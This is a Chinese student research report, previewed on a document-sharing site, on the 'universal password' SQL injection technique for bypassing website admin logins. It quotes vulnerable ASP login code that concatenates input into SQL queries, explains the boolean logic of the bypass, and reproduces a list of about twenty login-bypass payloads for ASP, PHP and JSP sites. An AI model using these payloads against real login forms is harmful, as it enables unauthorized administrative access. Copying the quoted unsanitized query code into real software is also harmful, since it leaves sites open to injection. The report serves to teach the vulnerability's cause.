好文档就是一把金锄头!
欢迎来到金锄头文库![会员中心]
电子文档交易市场
安卓APP | ios版本
电子文档交易市场
安卓APP | ios版本

万能密码SQL注入原理.doc

7页
  • 卖家[上传人]:ni****g
  • 文档编号:543664654
  • 上传时间:2022-10-24
  • 文档格式:DOC
  • 文档大小:49.01KB
  • / 7 举报 版权申诉 马上下载
  • 文本预览
  • 下载提示
  • 常见问题
    • 万能密码”SQL注入基本原理目录引言: 3项目研究原因: 4项目进展情况: 4结论: 9引言: 如今,互联网上的攻击、入侵事件频发,攻击手段越来越多样,攻击工具也泛滥成灾,这其中尤其以注入攻击最为常见因为这种攻击方式技术门槛低,攻击工具多注入攻击利用网站页面的用户提交数据功能,恶意编造具有攻击破坏性质的特殊数据字符串,提交给网站执行如果网站源代码设计不健壮,对提交的数据没有做严格的防范过滤,就很容易被利用,黑客可以以此为突破口,攻入网站服务器而本次项目所研究的“万能密码”就是注入的一种方式,他通过在管理登陆界面输入能欺骗网站的代码伪装成以认证的管理人员从而非法获取管理员权限从而非法修改网站项目研究原因:后台登录的“万能密码”是一个学长发现了某网站的这个漏洞从而告知我们小组的,我们小组对此产生了极大的兴趣:为何看似严谨的登录界面会有能通过一段代码就能登录、而且还能获得最高权限所以我们决定这次的百团百题项目以此为研究方向项目进展情况: 我们上网查找了有关后台“万能密码”相关的资料发现一个严重的问题: 这个技术已经相对落后,很多网站不能从网页源码中分析出注入漏洞 的存在。

      所以我们就从网上找了一些老的网站源码案例拿来研究: 我们从百度百科的“注入漏洞”的词条中找到了相关存在漏洞的案例: 下面用“蚂蚁影院3.0”版注销用户(wantlogin.asp)中的一段源码来做一下介绍:(下划线选取为引用案例内容)<%if request("userid1")<>"" thenset rst=server.createobject("adodb.recordset")sql="select money,online from users where userid="&request("userid1")&" and password="&md5(request("pws"))&""rst.open sql,conn,1,3if rst.eof and rst.bof thenresponse.write""elseresponse.write""response.write""rst.closeset rst=nothingconn.closeset conn=nothingend ifend if%>我们能够很明显的看到这段代码:sql="select money,online from users where userid="&request("userid1")&" and password="&md5(request("pws"))&"" 存在关键词:sql、并且在这个语句后面有逻辑运算符的话就代表了这个网站有被sql注入的可能。

      很明显,这段源码中我们可以得知该界面有注入的可能,那到底该怎么实现呢? 从这段代码可看出,在网站中,一开始先判断userid1是否为空,如果不为空,则往下进行到: 进入SQL语句,开始验证帐号密码的匹配我们按照证上的思维思考一下,如果我们没有这里的帐号密码,我们随便输一个,把帐号输成“zlq”,密码输成“123456” 这时,网页提交的代码变成select money,online from users where userid1=zlq and password=md5(123456) 如果是这样的话,网站肯定无法找到对应的帐号密码,就会出现大家遇到的,密码错误、找不到用户等情况但是如果这样的话,把帐号改成:“zlq or 1=1 or 1=1” 此时提交代码变成:select money,online from users where userid1=zlq or 1=1 or 1=1 and password=md5(123456), 因为“和”的运算级别比“或”高,所以先执行 1=1 and password=md5(123456),得到值为0(假); 然后再执行1=1 or 0,得到的值为1(真); 接下来就进行select money,online from users where userid1=zlq or 1;整个语句变成了1(真)。

      因为逻辑表达式为真,所以就会弹出“ 恢复成功你现在可以登陆!”但是这只是注入漏洞的一个基本原理,现在已经不太适用,很多网站不能直接从网站源码分析出注入漏洞的存在,这也就造成了入侵的困难和寻找目标的困难我们研究的一个方向是“万能密码”与注入的关系我们上网找到了一系列的“万能密码”以下摘自豆瓣网络(下划线选取为引用案例内容)后台登陆万能密码2011-08-20 15:31:15 asp aspx万能密码 1: "or "a"="a 2: ')or('a'='a 3:or 1=1-- 4:'or 1=1-- 5:a'or' 1=1-- 6: "or 1=1-- 7:'or'a'='a 8: "or"="a'='a 9:'or''=' 10:'or'='or' 11: 1 or '1'='1'=1 12: 1 or '1'='1' or 1=1 13: 'OR 1=1%00 14: "or 1=1%00 15: 'xor 16: 新型万能登陆密码 用户名 ' UNION Select 1,1,1 FROM admin Where ''=' (替换表名admin) 密码 1 Username=-1%cf' union select 1,1,1 as password,1,1,1 %23 Password=1 17..admin' or 'a'='a 密码随便 PHP万能密码 'or'='or' 'or 1=1/* 字符型 GPC是否开都可以使用 User: something Pass: ' OR '1'='1 jsp 万能密码 1'or'1'='1 admin' OR 1=1/* 用户名:admin 系统存在这个用户的时候 才用得上 密码:1'or'1'='1 由此可见“万能密码”也不全是万能的,他也对应了不同的网页语言。

      所以我们通过“万能密码”进去网站后台的前提是知道他们的网站是用哪种网页语言设计的,从而“对症下药”并且这个“万能”只是相对而言,具体的还要根据具体的网页代码书写的漏洞下手,只是“万能密码”的通用性比较强,很多网页都具有这种漏洞 现在我们已经初步的了解什么是“万能密码”了,我们可以把他理解为,是一段能够提交到网页通过一定语句访问SQL的逻辑语句,让网页误认为访问请求为真,从而进入网站后台的方法但是找了很久,也算是实验的一个坎,我们始终没有找到可以从源文件分析出能够使用“万能密码”的网站,所以我们的研究方向转移成了研究已经作为实例的案例的学习和验证所以再拿一个案例来说明(下划线选取为引用案例内容): ---------------------------------------------------------------------------------------------------------------------- username = request.form("username") password = request.form("password ") set rs=server.createobject("adodb.recordset") sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'" rs.open sql,conn,1,3 -------------------------------------------------------------------------------------------------------- 我们发现一个万能密码最重要的是逻辑运算,那按照这样的思维Username and password 如果值为真就是能够成功进入。

      再仔细看一下如果”Username”和 “password” 外围有单引号引号,所以我们的逻辑表达式应该变成:' Username ' and ‘password' 那么假设密码乱输逻辑表达式会变成' Username ' and 0但是and 的逻辑次序比 or 高 所以只要 ' Username ' 中有or符号,且or符号的左式值为1,那么该表达式就会为1.那么我们就看怎么输入Username 首先要考虑Username两端的引号 所以输入的两端也必须加上引号 所以我们构造了一个' 1=1' or ' ' =' 所以表达式就变成了:sql = "select * from admin where UserName=''1=1'or''=''And PassWord='abduasb'" 但是我们所给的案例上的却是:下划线所选为引用案例内容:将表单中的username和password数据分别赋值给username和password,执行select * from admin where UserName='"&username&"' And PassWord='"&password&"' 语句但如果被赋值的username是 ' or ''=' (password任意填写)则SQL语句变成了select * from admin where UserName='' or ''='' And PassWord='123'''=''条件成立,则语句成功找到管理表里首位的帐号身份验证登陆,因而成了or漏洞,除' or ''='以外,'or'='or' 啊什么的都可以,于是早年or漏洞形成了万能登陆密码。

      由于没有实际网站进行验证,所以我们也不确定我们的猜想是否正确但是通过这这一次的研究学习,我们已经初步了解了,“万能密码”的注入原理结论:1. “万能密码”作为一种已经落后网站入侵手段2. 在现有的互联网山存在很多能用“万能密码”入侵的网站,但是想从网站源文件分析出 “万能密码”存在的网站少之又少3. “万能密码”的基本原理就是网页在提交用户名密码时的逻辑不严密性和未对引号进行过 滤及特殊字符的过滤4. “万能密码”并不是“万能”,他有相对应的。

      点击阅读更多内容
      关于金锄头网 - 版权申诉 - 免责声明 - 诚邀英才 - 联系我们
      手机版 | 川公网安备 51140202000112号 | 经营许可证(蜀ICP备13022795号)
      ©2008-2016 by Sichuan Goldhoe Inc. All Rights Reserved.